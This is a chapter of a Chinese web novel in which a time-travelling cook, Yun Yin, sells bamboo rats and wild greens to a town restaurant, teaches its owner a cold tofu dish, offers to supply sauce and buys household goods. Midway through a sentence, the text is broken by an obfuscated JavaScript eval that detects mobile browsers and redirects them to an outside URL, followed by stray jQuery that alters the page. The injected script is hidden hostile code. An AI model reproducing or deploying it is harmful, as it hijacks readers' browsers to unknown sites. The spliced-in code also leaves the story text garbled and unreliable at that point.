罗娘子的饭馆很好找,就在镇子入口不远处,两层高的建筑,在这不富裕的平溪镇算是难得一见的。
此时正是吃午食的时候,饭馆里人来人往,很是热闹,云音站在门口看了一眼,往后门方向走去。
云音只拍了几下门,就有人过来开门,看到门口站着一个俊美娘子,那人迟疑片刻后问:“娘子有什么事?”
听到云音是过来卖东西的,想了想还是去院子把掌柜叫过来。罗娘子过来时也没想到,来的人是刚刚在路边看到的那个娘子,只停顿一会儿招呼她道:“娘子进来说话。”
云音打量这个院子一眼,随罗娘子进了间房,还没开口就听罗娘子道:“这位娘子如何称呼?不知这位娘子找我有什么事情?”
云音对罗娘子笑笑,脸颊微微泛红:“罗娘子叫我云音就好,我找娘子也不为别的,只是想问问娘子收不收山货。”
她将带着的三只竹鼠拿出来,这几只竹鼠一直被云音捆着,即使被提来提去也还活蹦乱跳。她又将篮子和筐子放地上道:“一些野菜野味,不知娘子的饭馆需不需要。”
罗娘子本不想买的,他们家饭馆的蔬菜都是从附近村子买的,就算偶尔有些差的,去外面街上随便买点就够用了。
可罗娘子看这眼前的娘子衣着不俗,气质也非普通人家能有的,而眼前这娘子虽然有些难为情,但仍想抓住机会,让她想到曾经的自己。她瞬间改变主意道:
“是不错的山货,我们饭馆都用得着,若是娘子卖别的东西,我还真帮不了你,不过野菜有些客人也很喜欢,特别是这榆钱,拿来煮粥不错。”
“这竹鼠肉质鲜美,清炖也很香甜,我给你50文一只,若是你日后还想卖竹鼠,也给我这边送来。至于这些榆钱和春笋我可以给你100文,剩下的野菜就不值什么了,镇子外面也有很多,我只能给你50文,你看这价格如何?”
云音听到这价格挑了挑眉,她也是找方嫂打听过的,这价格比她说的高多了。看来罗娘子是想要照顾她,她眉眼弯了弯笑道:“那就多谢罗娘子。”
想到方嫂的豆腐,又想感谢罗娘子一番,便开口道:“罗娘子你们一般是怎么吃榆钱的?”
“拿来蒸饭或者煮粥。”罗娘子笑了笑道,“不过我们家饭馆还是以炖菜为主,所以很少煮粥。”
云音点点头道:“那不知会不会凉拌?”
“凉拌?”罗娘子摇摇头道,“我们家不卖酒,所以很少做凉拌菜,不知云娘子是何意?”
“你们家不怎么煮粥,买我的榆钱也是照顾我生意,我也不能让你破费,这样吧,罗娘子,我教你一个简单做法,日后你们也可多一道菜色。”
“厨房有豆腐吗?若是没有,可以去菜市一条街那里,买一块方嫂的豆腐,她的豆腐味道不错。”
罗娘子听云音要教她做榆钱,只微微一惊彷佛明白什么,连忙扬起笑脸道:“那就多谢云娘子,我带你去厨房。”
罗娘子领着人去厨房,又招呼一婢子去买豆腐,笑眯眯给云音介绍厨房。
买回来的豆腐切成小块,焯水放在一旁备用,洗净的榆钱切成小段一起放入碗中,大蒜也切成蒜沫,前期准备工作就做好了。剩下是最重要的调酱汁,酱汁其实也很简单,用酱油、香醋、蒜沫搅拌,因为这个朝代没有辣椒这种作物,只能用花椒油替代,再加点盐,料汁就调好了。
将料汁倒入豆腐和榆钱中,一道简单的凉拌小菜就做好了。云音将拌好的菜递给一直站着旁边的罗娘子道:“你尝尝看,如何?”
罗娘子取一双筷子先尝一口,豆腐的爽口让她眼前一亮,这豆腐看着有些老,但尝起来却非常嫩。豆腐上粘着些许榆钱,让豆腐多了清爽的口感,配着料汁,滋味更加丰富。
“味道不错。”罗娘子又吃一口,点头道,“多谢云娘子教我,这道菜应该很受读书人欢迎,口感特别清新。”
“其实香椿拌豆腐也是可以的,不过香椿和豆腐要过水,用刚刚的料汁凉拌,味道也非常美味。方嫂的豆腐很好,凉拌也很好吃。”云音把砧板洗干净,放下袖子对罗娘子道,“对了,那些春笋炖肉也很好吃,罗娘子可以试试。”
其实春笋炒肉也很美味,可她刚刚看过,罗娘子家的饭馆没有用铁锅,都是大釜,所以她也就只提了一句炖肉,没再说其他。
罗娘子将筷子放下,带着云音回到方才的院子,给她倒一杯茶道:“是我眼拙,竟然没有看出娘子厨艺这样好,不知娘子可否来我们饭馆做事,我们饭馆如今需要娘子这样的人。”
云音喝茶的手微顿,她如今还是流民身份,她可是跟方嫂打听清楚了,摆摊只要不被抓到也没人知道她是流民,若是做工或者租房子都是要出示户籍的。
而且镇上的帮闲也经常在附近巡查,今日她就差点被发现,好在她落落大方,又跟方嫂在一起,那些帮闲就算觉得她是陌生人,也没觉得她是流民。
她如今最要紧之事就是赚银子落户籍,等落完籍,她打算在官道旁开一个小饭摊,这样也能安顿下来。
她也不是随意选的地方,平溪镇她也看了,并不富足,能有罗娘子这家饭馆已是极限,她再来镇上做饭馆生意,不仅与罗娘子交恶,也赚不到什么。
还不如官道那边,那里距离县城有些距离,到镇上也不方便,附近也没其他吃饭的地方,在那里开小饭摊是极为便利的。
而且那条官道还是长安到绵州的其中一条路,经常有商队往来,所以在那里开店更好。
不过虽说不能在罗娘子这里做工,但也可以与她合作一二。
她放下茶杯道:“做工就不用了,你们家饭馆生意这么红火,手艺必定也不差的。不过若是罗娘子喜欢我的手艺,我倒是有一门生意可以与娘子合作。”
罗娘子惊讶看向云音,过了半晌才道:“不知是什么合作。”
“好叫罗娘子知晓,我有一门做酱的手艺,若是娘子还瞧得上,不如我明日带来你瞧瞧,若是觉得味道可以,我可以给你们饭馆供货。”
罗娘子仔细打量云音一
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16178740|180850||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
眼,见她是认真的,思考片刻还是答应:“既然如此,那云娘子明日来镇上时,再给我们饭馆带一筐榆钱吧,若是有香椿,我们也要。到时候我也尝尝娘子做的酱,若是味道好,我们再谈合作之事。”
“云娘子也别叫我罗娘子了,叫我阿蔓姐吧,以后我也叫你阿音妹子。”
云音笑着点头道:“那多谢阿蔓姐,那我先走了,明日再来找你。”
罗蔓挽留她:“不如留下吃个饭吧。”
云音想着一会儿要办的事情还很多,婉拒道:“明日再来与姐姐吃饭,我今日来镇上还有事要办,就不麻烦阿蔓姐了。”
罗蔓见云音确实还有事,也不再强留她:“行,那明日我请你吃我们家有名的炖羊肉,你可一定要尝尝。”
“一定一定,阿蔓姐明日见。”
与罗蔓告辞,云音拿着空竹篮和350文先去卖包子的地方,她一早注意到这家包子摊,之前路过时被这香喷喷的味道吸引,要不是实在没钱,她早买一个尝尝味道了。
此时的包子摊远没有早上时那么多人,如今正是吃午饭的时候,大多人都回家吃饭,即便有在外吃的,也不会选择来包子摊,基本都会去罗娘子的饭馆。
云音去的时候,那摊主还没收摊,她连忙让摊主给她一个肉包,只略微一闻就知道错不了。包子皮薄松软,肉馅鲜嫩多汁,里面还放有香葱去腥,一口下去只觉得满口生香。
云音两三口就把一个大包子吃完,也只是微微解了腹中饥饿,她迅速又买了两个吃下,这才有了饱腹之感。
云音看着还冒着热气的蒸笼,还想再买几个留着晚上吃,但想到如今铜钱不多,要买的东西还有好多,哪怕一个包子只要3文,那也负担不起。更何况还要负责张林的饭食,他一个大小伙儿,吃的只会更多,她摇摇头放下包子,去隔壁卖胡饼的摊子买了20张胡饼。
这家胡饼的味道也很香,特别是上面的芝麻散发出的香味,让刚刚才吃饱的云音又有了食欲。她一边走一边啃着胡饼,想着这胡饼以后可以多买点,既不贵也好吃,20张胡饼也不过20文钱。而且还能放几天,要吃时只需加热即可,也很方便,还可以夹着蘑菇酱一起吃。
云音如今没有多少本钱,置办不了太多厨具,她还要买许多生活用品,钱也不能乱花,思考清楚后她走进镇上唯一一间杂货铺。
在杂货铺买了生活用品,又去买两把刀和煮饭用的釜,再买了陶罐、木箱和锁,就不剩多少钱,剩下的钱也就够她买一点米和一斤猪肉。
看着口袋空空,云音不禁长叹一口气,她觉得她应该是穿越里比较惨的一拨人,谁穿越后跟她似的,又没钱又没房,还是个流民。就算她有武艺,想学别人打猎,也没那个本事,连猎物在哪里都找不到,那几只竹鼠还是运气好碰上的,还不知日后能不能再抓到。好在她有厨艺傍身,如今也只不过凄惨一点,等与罗娘子达成合作,应该会好很多。
云音对以后的日子充满期待,提着满满当当的东西往镇外树林方向走。